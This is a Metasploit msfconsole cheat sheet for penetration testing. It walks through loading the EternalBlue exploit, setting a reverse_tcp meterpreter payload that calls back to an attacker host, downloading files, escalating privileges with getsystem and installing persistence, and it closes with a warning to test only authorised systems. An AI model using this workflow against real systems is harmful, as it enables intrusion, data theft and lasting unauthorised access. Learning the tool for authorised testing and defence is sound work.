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Msfconsole Cheat Sheet

msfconsole is the primary command-line interface of the Metasploit Framework. It is used to manage exploits, payloads, auxiliary modules, and post-exploitation tasks.

Start Msfconsole

msfconsole

Quiet mode: 

msfconsole -q

Help & Navigation

help
?

Search modules: 

search smb
search type:exploit platform:windows

Module Types

  • exploit
  • auxiliary
  • payload
  • post
  • encoder
  • nop

Use a Module

use exploit/windows/smb/ms17_010_eternalblue

Show options: 

show options

Show payloads: 

show payloads

Set Options

set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
set LPORT 4444

Global option: 

setg LHOST 192.168.1.5

Payload Selection

set PAYLOAD windows/x64/meterpreter/reverse_tcp

Run Exploit

run

or: 

exploit

Run in background: 

exploit -j

Sessions

List sessions: 

sessions

Interact: 

sessions -i 1

Kill: 

sessions -k 1

Meterpreter Basics

sysinfo
getuid
pwd
ls

Upload / Download: 

upload file.exe
download secret.txt

Shell: 

shell

Privilege Escalation

getsystem
use post/multi/recon/local_exploit_suggester

Persistence

run persistence -X -i 10 -p 4444 -r 192.168.1.5

Port Forwarding

portfwd add -l 8080 -p 80 -r 127.0.0.1

Database Commands

db_status
db_nmap -sV 192.168.1.10
hosts
services

Workspace Management

workspace
workspace -a test
workspace test

Typical Workflow

msfconsole
search exploit
use exploit/...
set RHOSTS target
set PAYLOAD ...
run
sessions -i 1

Common Issues

Exploit failed
  • Wrong payload
  • Target not vulnerable
  • Bad network config
No session created
  • Firewall blocking callback
  • Incorrect LHOST
  • nmap
  • netcat
  • beef
  • setoolkit

Danger

Use Metasploit only on systems you own or have explicit permission to test.